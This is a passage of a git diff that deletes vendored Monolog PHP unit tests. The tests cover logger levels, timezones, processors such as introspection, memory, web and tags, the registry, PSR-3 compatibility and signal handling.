$this->assertEquals($expectedLevel, $record['level']); - } - - public function logMethodProvider() - { - return array( - // monolog methods - array('addDebug', Logger::DEBUG), - array('addInfo', Logger::INFO), - array('addNotice', Logger::NOTICE), - array('addWarning', Logger::WARNING), - array('addError', Logger::ERROR), - array('addCritical', Logger::CRITICAL), - array('addAlert', Logger::ALERT), - array('addEmergency', Logger::EMERGENCY), - - // ZF/Sf2 compat methods - array('debug', Logger::DEBUG), - array('info', Logger::INFO), - array('notice', Logger::NOTICE), - array('warn', Logger::WARNING), - array('err', Logger::ERROR), - array('crit', Logger::CRITICAL), - array('alert', Logger::ALERT), - array('emerg', Logger::EMERGENCY), - ); - } - - /** - * @dataProvider setTimezoneProvider - * @covers Monolog\Logger::setTimezone - */ - public function testSetTimezone($tz) - { - Logger::setTimezone($tz); - $logger = new Logger('foo'); - $handler = new TestHandler; - $logger->pushHandler($handler); - $logger->info('test'); - list($record) = $handler->getRecords(); - $this->assertEquals($tz, $record['datetime']->getTimezone()); - } - - public function setTimezoneProvider() - { - return array_map( - function ($tz) { return array(new \DateTimeZone($tz)); }, - \DateTimeZone::listIdentifiers() - ); - } - - /** - * @dataProvider useMicrosecondTimestampsProvider - * @covers Monolog\Logger::useMicrosecondTimestamps - * @covers Monolog\Logger::addRecord - */ - public function testUseMicrosecondTimestamps($micro, $assert) - { - $logger = new Logger('foo'); - $logger->useMicrosecondTimestamps($micro); - $handler = new TestHandler; - $logger->pushHandler($handler); - $logger->info('test'); - list($record) = $handler->getRecords(); - $this->{$assert}('000000', $record['datetime']->format('u')); - } - - public function useMicrosecondTimestampsProvider() - { - return array( - // this has a very small chance of a false negative (1/10^6) - 'with microseconds' => array(true, 'assertNotSame'), - 'without microseconds' => array(false, PHP_VERSION_ID >= 70100 ? 'assertNotSame' : 'assertSame'), - ); - } - - /** - * @covers Monolog\Logger::setExceptionHandler - */ - public function testSetExceptionHandler() - { - $logger = new Logger(__METHOD__); - $this->assertNull($logger->getExceptionHandler()); - $callback = function ($ex) { - }; - $logger->setExceptionHandler($callback); - $this->assertEquals($callback, $logger->getExceptionHandler()); - } - - /** - * @covers Monolog\Logger::setExceptionHandler - * @expectedException InvalidArgumentException - */ - public function testBadExceptionHandlerType() - { - $logger = new Logger(__METHOD__); - $logger->setExceptionHandler(false); - } - - /** - * @covers Monolog\Logger::handleException - * @expectedException Exception - */ - public function testDefaultHandleException() - { - $logger = new Logger(__METHOD__); - $handler = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler->expects($this->any()) - ->method('isHandling') - ->will($this->returnValue(true)) - ; - $handler->expects($this->any()) - ->method('handle') - ->will($this->throwException(new \Exception('Some handler exception'))) - ; - $logger->pushHandler($handler); - $logger->info('test'); - } - - /** - * @covers Monolog\Logger::handleException - * @covers Monolog\Logger::addRecord - */ - public function testCustomHandleException() - { - $logger = new Logger(__METHOD__); - $that = $this; - $logger->setExceptionHandler(function ($e, $record) use ($that) { - $that->assertEquals($e->getMessage(), 'Some handler exception'); - $that->assertTrue(is_array($record)); - $that->assertEquals($record['message'], 'test'); - }); - $handler = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler->expects($this->any()) - ->method('isHandling') - ->will($this->returnValue(true)) - ; - $handler->expects($this->any()) - ->method('handle') - ->will($this->throwException(new \Exception('Some handler exception'))) - ; - $logger->pushHandler($handler); - $logger->info('test'); - } - - public function testReset() - { - $logger = new Logger('app'); - - $testHandler = new Handler\TestHandler(); - $testHandler->setSkipReset(true); - $bufferHandler = new Handler\BufferHandler($testHandler); - $groupHandler = new Handler\GroupHandler(array($bufferHandler)); - $fingersCrossedHandler = new Handler\FingersCrossedHandler($groupHandler); - - $logger->pushHandler($fingersCrossedHandler); - - $processorUid1 = new Processor\UidProcessor(10); - $uid1 = $processorUid1->getUid(); - $groupHandler->pushProcessor($processorUid1); - - $processorUid2 = new Processor\UidProcessor(5); - $uid2 = $processorUid2->getUid(); - $logger->pushProcessor($processorUid2); - - $getProperty = function ($object, $property) { - $reflectionProperty = new \ReflectionProperty(get_class($object), $property); - $reflectionProperty->setAccessible(true); - - return $reflectionProperty->getValue($object); - }; - $that = $this; - $assertBufferOfBufferHandlerEmpty = function () use ($getProperty, $bufferHandler, $that) { - $that->assertEmpty($getProperty($bufferHandler, 'buffer')); - }; - $assertBuffersEmpty = function() use ($assertBufferOfBufferHandlerEmpty, $getProperty, $fingersCrossedHandler, $that) { - $assertBufferOfBufferHandlerEmpty(); - $that->assertEmpty($getProperty($fingersCrossedHandler, 'buffer')); - }; - - $logger->debug('debug1'); - $logger->reset(); - $assertBuffersEmpty(); - $this->assertFalse($testHandler->hasDebugRecords()); - $this->assertFalse($testHandler->hasErrorRecords()); - $this->assertNotSame($uid1, $uid1 = $processorUid1->getUid()); - $this->assertNotSame($uid2, $uid2 = $processorUid2->getUid()); - - $logger->debug('debug2'); - $logger->error('error2'); - $logger->reset(); - $assertBuffersEmpty(); - $this->assertTrue($testHandler->hasRecordThatContains('debug2', Logger::DEBUG)); - $this->assertTrue($testHandler->hasRecordThatContains('error2', Logger::ERROR)); - $this->assertNotSame($uid1, $uid1 = $processorUid1->getUid()); - $this->assertNotSame($uid2, $uid2 = $processorUid2->getUid()); - - $logger->info('info3'); - $this->assertNotEmpty($getProperty($fingersCrossedHandler, 'buffer')); - $assertBufferOfBufferHandlerEmpty(); - $this->assertFalse($testHandler->hasInfoRecords()); - - $logger->reset(); - $assertBuffersEmpty(); - $this->assertFalse($testHandler->hasInfoRecords()); - $this->assertNotSame($uid1, $uid1 = $processorUid1->getUid()); - $this->assertNotSame($uid2, $uid2 = $processorUid2->getUid()); - - $logger->notice('notice4'); - $logger->emergency('emergency4'); - $logger->reset(); - $assertBuffersEmpty(); - $this->assertFalse($testHandler->hasInfoRecords()); - $this->assertTrue($testHandler->hasRecordThatContains('notice4', Logger::NOTICE)); - $this->assertTrue($testHandler->hasRecordThatContains('emergency4', Logger::EMERGENCY)); - $this->assertNotSame($uid1, $processorUid1->getUid()); - $this->assertNotSame($uid2, $processorUid2->getUid()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Processor/IntrospectionProcessorTest.php b/vendor/monolog/monolog/tests/Monolog/Processor/IntrospectionProcessorTest.php deleted file mode 100644 index cd6212f23a..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Processor/IntrospectionProcessorTest.php +++ /dev/null @@ -1,123 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Acme; - -class Tester -{ - public function test($handler, $record) - { - $handler->handle($record); - } -} - -function tester($handler, $record) -{ - $handler->handle($record); -} - -namespace Monolog\Processor; - -use Monolog\Logger; -use Monolog\TestCase; -use Monolog\Handler\TestHandler; - -class IntrospectionProcessorTest extends TestCase -{ - public function getHandler() - { - $processor = new IntrospectionProcessor(); - $handler = new TestHandler(); - $handler->pushProcessor($processor); - - return $handler; - } - - public function testProcessorFromClass() - { - $handler = $this->getHandler(); - $tester = new \Acme\Tester; - $tester->test($handler, $this->getRecord()); - list($record) = $handler->getRecords(); - $this->assertEquals(__FILE__, $record['extra']['file']); - $this->assertEquals(18, $record['extra']['line']); - $this->assertEquals('Acme\Tester', $record['extra']['class']); - $this->assertEquals('test', $record['extra']['function']); - } - - public function testProcessorFromFunc() - { - $handler = $this->getHandler(); - \Acme\tester($handler, $this->getRecord()); - list($record) = $handler->getRecords(); - $this->assertEquals(__FILE__, $record['extra']['file']); - $this->assertEquals(24, $record['extra']['line']); - $this->assertEquals(null, $record['extra']['class']); - $this->assertEquals('Acme\tester', $record['extra']['function']); - } - - public function testLevelTooLow() - { - $input = array( - 'level' => Logger::DEBUG, - 'extra' => array(), - ); - - $expected = $input; - - $processor = new IntrospectionProcessor(Logger::CRITICAL); - $actual = $processor($input); - - $this->assertEquals($expected, $actual); - } - - public function testLevelEqual() - { - $input = array( - 'level' => Logger::CRITICAL, - 'extra' => array(), - ); - - $expected = $input; - $expected['extra'] = array( - 'file' => null, - 'line' => null, - 'class' => 'ReflectionMethod', - 'function' => 'invokeArgs', - ); - - $processor = new IntrospectionProcessor(Logger::CRITICAL); - $actual = $processor($input); - - $this->assertEquals($expected, $actual); - } - - public function testLevelHigher() - { - $input = array( - 'level' => Logger::EMERGENCY, - 'extra' => array(), - ); - - $expected = $input; - $expected['extra'] = array( - 'file' => null, - 'line' => null, - 'class' => 'ReflectionMethod', - 'function' => 'invokeArgs', - ); - - $processor = new IntrospectionProcessor(Logger::CRITICAL); - $actual = $processor($input); - - $this->assertEquals($expected, $actual); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Processor/MemoryPeakUsageProcessorTest.php b/vendor/monolog/monolog/tests/Monolog/Processor/MemoryPeakUsageProcessorTest.php deleted file mode 100644 index 0a0982f844..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Processor/MemoryPeakUsageProcessorTest.php +++ /dev/null @@ -1,42 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Processor; - -use Monolog\TestCase; - -class MemoryPeakUsageProcessorTest extends TestCase -{ - /** - * @covers Monolog\Processor\MemoryPeakUsageProcessor::__invoke - * @covers Monolog\Processor\MemoryProcessor::formatBytes - */ - public function testProcessor() - { - $processor = new MemoryPeakUsageProcessor(); - $record = $processor($this->getRecord()); - $this->assertArrayHasKey('memory_peak_usage', $record['extra']); - $this->assertRegExp('#[0-9.]+ (M|K)?B$#', $record['extra']['memory_peak_usage']); - } - - /** - * @covers Monolog\Processor\MemoryPeakUsageProcessor::__invoke - * @covers Monolog\Processor\MemoryProcessor::formatBytes - */ - public function testProcessorWithoutFormatting() - { - $processor = new MemoryPeakUsageProcessor(true, false); - $record = $processor($this->getRecord()); - $this->assertArrayHasKey('memory_peak_usage', $record['extra']); - $this->assertInternalType('int', $record['extra']['memory_peak_usage']); - $this->assertGreaterThan(0, $record['extra']['memory_peak_usage']); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Processor/MemoryUsageProcessorTest.php b/vendor/monolog/monolog/tests/Monolog/Processor/MemoryUsageProcessorTest.php deleted file mode 100644 index 228145e763..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Processor/MemoryUsageProcessorTest.php +++ /dev/null @@ -1,42 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Processor; - -use Monolog\TestCase; - -class MemoryUsageProcessorTest extends TestCase -{ - /** - * @covers Monolog\Processor\MemoryUsageProcessor::__invoke - * @covers Monolog\Processor\MemoryProcessor::formatBytes - */ - public function testProcessor() - { - $processor = new MemoryUsageProcessor(); - $record = $processor($this->getRecord()); - $this->assertArrayHasKey('memory_usage', $record['extra']); - $this->assertRegExp('#[0-9.]+ (M|K)?B$#', $record['extra']['memory_usage']); - } - - /** - * @covers Monolog\Processor\MemoryUsageProcessor::__invoke - * @covers Monolog\Processor\MemoryProcessor::formatBytes - */ - public function testProcessorWithoutFormatting() - { - $processor = new MemoryUsageProcessor(true, false); - $record = $processor($this->getRecord()); - $this->assertArrayHasKey('memory_usage', $record['extra']); - $this->assertInternalType('int', $record['extra']['memory_usage']); - $this->assertGreaterThan(0, $record['extra']['memory_usage']); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Processor/MercurialProcessorTest.php b/vendor/monolog/monolog/tests/Monolog/Processor/MercurialProcessorTest.php deleted file mode 100644 index 4566b1a4a3..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Processor/MercurialProcessorTest.php +++ /dev/null @@ -1,41 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Processor; - -use Monolog\TestCase; - -class MercurialProcessorTest extends TestCase -{ - /** - * @covers Monolog\Processor\MercurialProcessor::__invoke - */ - public function testProcessor() - { - if (defined('PHP_WINDOWS_VERSION_BUILD')) { - exec("where hg 2>NUL", $output, $result); - } else { - exec("which hg 2>/dev/null >/dev/null", $output, $result); - } - if ($result != 0) { - $this->markTestSkipped('hg is missing'); - return; - } - - `hg init`; - $processor = new MercurialProcessor(); - $record = $processor($this->getRecord()); - - $this->assertArrayHasKey('hg', $record['extra']); - $this->assertTrue(!is_array($record['extra']['hg']['branch'])); - $this->assertTrue(!is_array($record['extra']['hg']['revision'])); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Processor/ProcessIdProcessorTest.php b/vendor/monolog/monolog/tests/Monolog/Processor/ProcessIdProcessorTest.php deleted file mode 100644 index 7565dac819..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Processor/ProcessIdProcessorTest.php +++ /dev/null @@ -1,30 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Processor; - -use Monolog\TestCase; - -class ProcessIdProcessorTest extends TestCase -{ - /** - * @covers Monolog\Processor\ProcessIdProcessor::__invoke - */ - public function testProcessor() - { - $processor = new ProcessIdProcessor(); - $record = $processor($this->getRecord()); - $this->assertArrayHasKey('process_id', $record['extra']); - $this->assertInternalType('int', $record['extra']['process_id']); - $this->assertGreaterThan(0, $record['extra']['process_id']); - $this->assertEquals(getmypid(), $record['extra']['process_id']); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Processor/PsrLogMessageProcessorTest.php b/vendor/monolog/monolog/tests/Monolog/Processor/PsrLogMessageProcessorTest.php deleted file mode 100644 index 66082b682f..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Processor/PsrLogMessageProcessorTest.php +++ /dev/null @@ -1,76 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Processor; - -class PsrLogMessageProcessorTest extends \PHPUnit_Framework_TestCase -{ - /** - * @dataProvider getPairs - */ - public function testReplacement($val, $expected) - { - $proc = new PsrLogMessageProcessor; - - $message = $proc(array( - 'message' => '{foo}', - 'context' => array('foo' => $val), - )); - $this->assertEquals($expected, $message['message']); - } - - public function testReplacementWithContextRemoval() - { - $proc = new PsrLogMessageProcessor($dateFormat = null, $removeUsedContextFields = true); - - $message = $proc(array( - 'message' => '{foo}', - 'context' => array('foo' => 'bar', 'lorem' => 'ipsum'), - )); - $this->assertSame('bar', $message['message']); - $this->assertSame(array('lorem' => 'ipsum'), $message['context']); - } - - public function testCustomDateFormat() - { - $format = "Y-m-d"; - $date = new \DateTime(); - - $proc = new PsrLogMessageProcessor($format); - - $message = $proc(array( - 'message' => '{foo}', - 'context' => array('foo' => $date), - )); - $this->assertEquals($date->format($format), $message['message']); - $this->assertSame(array('foo' => $date), $message['context']); - } - - public function getPairs() - { - $date = new \DateTime(); - - return array( - array('foo', 'foo'), - array('3', '3'), - array(3, '3'), - array(null, ''), - array(true, '1'), - array(false, ''), - array($date, $date->format(PsrLogMessageProcessor::SIMPLE_DATE)), - array(new \stdClass, '[object stdClass]'), - array(array(), 'array[]'), - array(array(1, 2, 3), 'array[1,2,3]'), - array(array('foo' => 'bar'), 'array{"foo":"bar"}'), - array(stream_context_create(), '[resource]'), - ); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Processor/TagProcessorTest.php b/vendor/monolog/monolog/tests/Monolog/Processor/TagProcessorTest.php deleted file mode 100644 index 4cbc83d8a5..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Processor/TagProcessorTest.php +++ /dev/null @@ -1,49 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Processor; - -use Monolog\TestCase; - -class TagProcessorTest extends TestCase -{ - /** - * @covers Monolog\Processor\TagProcessor::__invoke - */ - public function testProcessor() - { - $tags = array(1, 2, 3); - $processor = new TagProcessor($tags); - $record = $processor($this->getRecord()); - - $this->assertEquals($tags, $record['extra']['tags']); - } - - /** - * @covers Monolog\Processor\TagProcessor::__invoke - */ - public function testProcessorTagModification() - { - $tags = array(1, 2, 3); - $processor = new TagProcessor($tags); - - $record = $processor($this->getRecord()); - $this->assertEquals($tags, $record['extra']['tags']); - - $processor->setTags(array('a', 'b')); - $record = $processor($this->getRecord()); - $this->assertEquals(array('a', 'b'), $record['extra']['tags']); - - $processor->addTags(array('a', 'c', 'foo' => 'bar')); - $record = $processor($this->getRecord()); - $this->assertEquals(array('a', 'b', 'a', 'c', 'foo' => 'bar'), $record['extra']['tags']); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Processor/UidProcessorTest.php b/vendor/monolog/monolog/tests/Monolog/Processor/UidProcessorTest.php deleted file mode 100644 index d371de8188..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Processor/UidProcessorTest.php +++ /dev/null @@ -1,33 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Processor; - -use Monolog\TestCase; - -class UidProcessorTest extends TestCase -{ - /** - * @covers Monolog\Processor\UidProcessor::__invoke - */ - public function testProcessor() - { - $processor = new UidProcessor(); - $record = $processor($this->getRecord()); - $this->assertArrayHasKey('uid', $record['extra']); - } - - public function testGetUid() - { - $processor = new UidProcessor(10); - $this->assertEquals(10, strlen($processor->getUid())); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Processor/WebProcessorTest.php b/vendor/monolog/monolog/tests/Monolog/Processor/WebProcessorTest.php deleted file mode 100644 index 916da520da..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Processor/WebProcessorTest.php +++ /dev/null @@ -1,126 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Processor; - -use Monolog\TestCase; - -class WebProcessorTest extends TestCase -{ - public function testProcessor() - { - $server = array( - 'REQUEST_URI' => 'A', - 'REMOTE_ADDR' => 'B', - 'REQUEST_METHOD' => 'C', - 'HTTP_REFERER' => 'D', - 'SERVER_NAME' => 'F', - 'UNIQUE_ID' => 'G', - ); - - $processor = new WebProcessor($server); - $record = $processor($this->getRecord()); - $this->assertEquals($server['REQUEST_URI'], $record['extra']['url']); - $this->assertEquals($server['REMOTE_ADDR'], $record['extra']['ip']); - $this->assertEquals($server['REQUEST_METHOD'], $record['extra']['http_method']); - $this->assertEquals($server['HTTP_REFERER'], $record['extra']['referrer']); - $this->assertEquals($server['SERVER_NAME'], $record['extra']['server']); - $this->assertEquals($server['UNIQUE_ID'], $record['extra']['unique_id']); - } - - public function testProcessorDoNothingIfNoRequestUri() - { - $server = array( - 'REMOTE_ADDR' => 'B', - 'REQUEST_METHOD' => 'C', - ); - $processor = new WebProcessor($server); - $record = $processor($this->getRecord()); - $this->assertEmpty($record['extra']); - } - - public function testProcessorReturnNullIfNoHttpReferer() - { - $server = array( - 'REQUEST_URI' => 'A', - 'REMOTE_ADDR' => 'B', - 'REQUEST_METHOD' => 'C', - 'SERVER_NAME' => 'F', - ); - $processor = new WebProcessor($server); - $record = $processor($this->getRecord()); - $this->assertNull($record['extra']['referrer']); - } - - public function testProcessorDoesNotAddUniqueIdIfNotPresent() - { - $server = array( - 'REQUEST_URI' => 'A', - 'REMOTE_ADDR' => 'B', - 'REQUEST_METHOD' => 'C', - 'SERVER_NAME' => 'F', - ); - $processor = new WebProcessor($server); - $record = $processor($this->getRecord()); - $this->assertFalse(isset($record['extra']['unique_id'])); - } - - public function testProcessorAddsOnlyRequestedExtraFields() - { - $server = array( - 'REQUEST_URI' => 'A', - 'REMOTE_ADDR' => 'B', - 'REQUEST_METHOD' => 'C', - 'SERVER_NAME' => 'F', - ); - - $processor = new WebProcessor($server, array('url', 'http_method')); - $record = $processor($this->getRecord()); - - $this->assertSame(array('url' => 'A', 'http_method' => 'C'), $record['extra']); - } - - public function testProcessorAddsOnlyRequestedExtraFieldsIncludingOptionalFields() - { - $server = array( - 'REQUEST_URI' => 'A', - 'UNIQUE_ID' => 'X', - ); - - $processor = new WebProcessor($server, array('url')); - $record = $processor($this->getRecord()); - - $this->assertSame(array('url' => 'A'), $record['extra']); - } - - public function testProcessorConfiguringOfExtraFields() - { - $server = array( - 'REQUEST_URI' => 'A', - 'REMOTE_ADDR' => 'B', - 'REQUEST_METHOD' => 'C', - 'SERVER_NAME' => 'F', - ); - - $processor = new WebProcessor($server, array('url' => 'REMOTE_ADDR')); - $record = $processor($this->getRecord()); - - $this->assertSame(array('url' => 'B'), $record['extra']); - } - - /** - * @expectedException UnexpectedValueException - */ - public function testInvalidData() - { - new WebProcessor(new \stdClass); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/PsrLogCompatTest.php b/vendor/monolog/monolog/tests/Monolog/PsrLogCompatTest.php deleted file mode 100644 index db6e7256ee..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/PsrLogCompatTest.php +++ /dev/null @@ -1,47 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog; - -use Monolog\Handler\TestHandler; -use Monolog\Formatter\LineFormatter; -use Monolog\Processor\PsrLogMessageProcessor; -use Psr\Log\Test\LoggerInterfaceTest; - -class PsrLogCompatTest extends LoggerInterfaceTest -{ - private $handler; - - public function getLogger() - { - $logger = new Logger('foo'); - $logger->pushHandler($handler = new TestHandler); - $logger->pushProcessor(new PsrLogMessageProcessor); - $handler->setFormatter(new LineFormatter('%level_name% %message%')); - - $this->handler = $handler; - - return $logger; - } - - public function getLogs() - { - $convert = function ($record) { - $lower = function ($match) { - return strtolower($match[0]); - }; - - return preg_replace_callback('{^[A-Z]+}', $lower, $record['formatted']); - }; - - return array_map($convert, $this->handler->getRecords()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/RegistryTest.php b/vendor/monolog/monolog/tests/Monolog/RegistryTest.php deleted file mode 100644 index fdca5de060..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/RegistryTest.php +++ /dev/null @@ -1,153 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog; - -class RegistryTest extends \PHPUnit_Framework_TestCase -{ - protected function setUp() - { - Registry::clear(); - } - - /** - * @dataProvider hasLoggerProvider - * @covers Monolog\Registry::hasLogger - */ - public function testHasLogger(array $loggersToAdd, array $loggersToCheck, array $expectedResult) - { - foreach ($loggersToAdd as $loggerToAdd) { - Registry::addLogger($loggerToAdd); - } - foreach ($loggersToCheck as $index => $loggerToCheck) { - $this->assertSame($expectedResult[$index], Registry::hasLogger($loggerToCheck)); - } - } - - public function hasLoggerProvider() - { - $logger1 = new Logger('test1'); - $logger2 = new Logger('test2'); - $logger3 = new Logger('test3'); - - return array( - // only instances - array( - array($logger1), - array($logger1, $logger2), - array(true, false), - ), - // only names - array( - array($logger1), - array('test1', 'test2'), - array(true, false), - ), - // mixed case - array( - array($logger1, $logger2), - array('test1', $logger2, 'test3', $logger3), - array(true, true, false, false), - ), - ); - } - - /** - * @covers Monolog\Registry::clear - */ - public function testClearClears() - { - Registry::addLogger(new Logger('test1'), 'log'); - Registry::clear(); - - $this->setExpectedException('\InvalidArgumentException'); - Registry::getInstance('log'); - } - - /** - * @dataProvider removedLoggerProvider - * @covers Monolog\Registry::addLogger - * @covers Monolog\Registry::removeLogger - */ - public function testRemovesLogger($loggerToAdd, $remove) - { - Registry::addLogger($loggerToAdd); - Registry::removeLogger($remove); - - $this->setExpectedException('\InvalidArgumentException'); - Registry::getInstance($loggerToAdd->getName()); - } - - public function removedLoggerProvider() - { - $logger1 = new Logger('test1'); - - return array( - array($logger1, $logger1), - array($logger1, 'test1'), - ); - } - - /** - * @covers Monolog\Registry::addLogger - * @covers Monolog\Registry::getInstance - * @covers Monolog\Registry::__callStatic - */ - public function testGetsSameLogger() - { - $logger1 = new Logger('test1'); - $logger2 = new Logger('test2'); - - Registry::addLogger($logger1, 'test1'); - Registry::addLogger($logger2); - - $this->assertSame($logger1, Registry::getInstance('test1')); - $this->assertSame($logger2, Registry::test2()); - } - - /** - * @expectedException \InvalidArgumentException - * @covers Monolog\Registry::getInstance - */ - public function testFailsOnNonExistantLogger() - { - Registry::getInstance('test1'); - } - - /** - * @covers Monolog\Registry::addLogger - */ - public function testReplacesLogger() - { - $log1 = new Logger('test1'); - $log2 = new Logger('test2'); - - Registry::addLogger($log1, 'log'); - - Registry::addLogger($log2, 'log', true); - - $this->assertSame($log2, Registry::getInstance('log')); - } - - /** - * @expectedException \InvalidArgumentException - * @covers Monolog\Registry::addLogger - */ - public function testFailsOnUnspecifiedReplacement() - { - $log1 = new Logger('test1'); - $log2 = new Logger('test2'); - - Registry::addLogger($log1, 'log'); - - Registry::addLogger($log2, 'log'); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/SignalHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/SignalHandlerTest.php deleted file mode 100644 index a0f0222638..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/SignalHandlerTest.php +++ /dev/null @@ -1,287 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog; - -use Monolog\Handler\StreamHandler; -use Monolog\Handler\TestHandler; -use Psr\Log\LogLevel; - -/** - * @author Robert Gust-Bardon - * @covers Monolog\SignalHandler - */ -class SignalHandlerTest extends TestCase -{ - - private $asyncSignalHandling; - private $blockedSignals; - private $signalHandlers; - - protected function setUp() - { - $this->signalHandlers = array(); - if (extension_loaded('pcntl')) { - if (function_exists('pcntl_async_signals')) { - $this->asyncSignalHandling = pcntl_async_signals(); - } - if (function_exists('pcntl_sigprocmask')) { - pcntl_sigprocmask(SIG_BLOCK, array(), $this->blockedSignals); - } - } - } - - protected function tearDown() - { - if ($this->asyncSignalHandling !== null) { - pcntl_async_signals($this->asyncSignalHandling); - } - if ($this->blockedSignals !== null) { - pcntl_sigprocmask(SIG_SETMASK, $this->blockedSignals); - } - if ($this->signalHandlers) { - pcntl_signal_dispatch(); - foreach ($this->signalHandlers as $signo => $handler) { - pcntl_signal($signo, $handler); - } - } - } - - private function setSignalHandler($signo, $handler = SIG_DFL) { - if (function_exists('pcntl_signal_get_handler')) { - $this->signalHandlers[$signo] = pcntl_signal_get_handler($signo); - } else { - $this->signalHandlers[$signo] = SIG_DFL; - } - $this->assertTrue(pcntl_signal($signo, $handler)); - } - - public function testHandleSignal() - { - $logger = new Logger('test', array($handler = new TestHandler)); - $errHandler = new SignalHandler($logger); - $signo = 2; // SIGINT. - $siginfo = array('signo' => $signo, 'errno' => 0, 'code' => 0); - $errHandler->handleSignal($signo, $siginfo); - $this->assertCount(1, $handler->getRecords()); - $this->assertTrue($handler->hasCriticalRecords()); - $records = $handler->getRecords(); - $this->assertSame($siginfo, $records[0]['context']); - } - - /** - * @depends testHandleSignal - * @requires extension pcntl - * @requires extension posix - * @requires function pcntl_signal - * @requires function pcntl_signal_dispatch - * @requires function posix_getpid - * @requires function posix_kill - */ - public function testRegisterSignalHandler() - { - // SIGCONT and SIGURG should be ignored by default. - if (!defined('SIGCONT') || !defined('SIGURG')) { - $this->markTestSkipped('This test requires the SIGCONT and SIGURG pcntl constants.'); - } - - $this->setSignalHandler(SIGCONT, SIG_IGN); - $this->setSignalHandler(SIGURG, SIG_IGN); - - $logger = new Logger('test', array($handler = new TestHandler)); - $errHandler = new SignalHandler($logger); - $pid = posix_getpid(); - - $this->assertTrue(posix_kill($pid, SIGURG)); - $this->assertTrue(pcntl_signal_dispatch()); - $this->assertCount(0, $handler->getRecords()); - - $errHandler->registerSignalHandler(SIGURG, LogLevel::INFO, false, false, false); - - $this->assertTrue(posix_kill($pid, SIGCONT)); - $this->assertTrue(pcntl_signal_dispatch()); - $this->assertCount(0, $handler->getRecords()); - - $this->assertTrue(posix_kill($pid, SIGURG)); - $this->assertTrue(pcntl_signal_dispatch()); - $this->assertCount(1, $handler->getRecords()); - $this->assertTrue($handler->hasInfoThatContains('SIGURG')); - } - - /** - * @dataProvider defaultPreviousProvider - * @depends testRegisterSignalHandler - * @requires function pcntl_fork - * @requires function pcntl_sigprocmask - * @requires function pcntl_waitpid - */ - public function testRegisterDefaultPreviousSignalHandler($signo, $callPrevious, $expected) - { - $this->setSignalHandler($signo, SIG_DFL); - - $path = tempnam(sys_get_temp_dir(), 'monolog-'); - $this->assertNotFalse($path); - - $pid = pcntl_fork(); - if ($pid === 0) { // Child. - $streamHandler = new StreamHandler($path); - $streamHandler->setFormatter($this->getIdentityFormatter()); - $logger = new Logger('test', array($streamHandler)); - $errHandler = new SignalHandler($logger); - $errHandler->registerSignalHandler($signo, LogLevel::INFO, $callPrevious, false, false); - pcntl_sigprocmask(SIG_SETMASK, array(SIGCONT)); - posix_kill(posix_getpid(), $signo); - pcntl_signal_dispatch(); - // If $callPrevious is true, SIGINT should terminate by this line. - pcntl_sigprocmask(SIG_BLOCK, array(), $oldset); - file_put_contents($path, implode(' ', $oldset), FILE_APPEND); - posix_kill(posix_getpid(), $signo); - pcntl_signal_dispatch(); - exit(); - } - - $this->assertNotSame(-1, $pid); - $this->assertNotSame(-1, pcntl_waitpid($pid, $status)); - $this->assertNotSame(-1, $status); - $this->assertSame($expected, file_get_contents($path)); - } - - public function defaultPreviousProvider() - { - if (!defined('SIGCONT') || !defined('SIGINT') || !defined('SIGURG')) { - return array(); - } - - return array( - array(SIGINT, false, 'Program received signal SIGINT'.SIGCONT.'Program received signal SIGINT'), - array(SIGINT, true, 'Program received signal SIGINT'), - array(SIGURG, false, 'Program received signal SIGURG'.SIGCONT.'Program received signal SIGURG'), - array(SIGURG, true, 'Program received signal SIGURG'.SIGCONT.'Program received signal SIGURG'), - ); - } - - /** - * @dataProvider callablePreviousProvider - * @depends testRegisterSignalHandler - * @requires function pcntl_signal_get_handler - */ - public function testRegisterCallablePreviousSignalHandler($callPrevious) - { - $this->setSignalHandler(SIGURG, 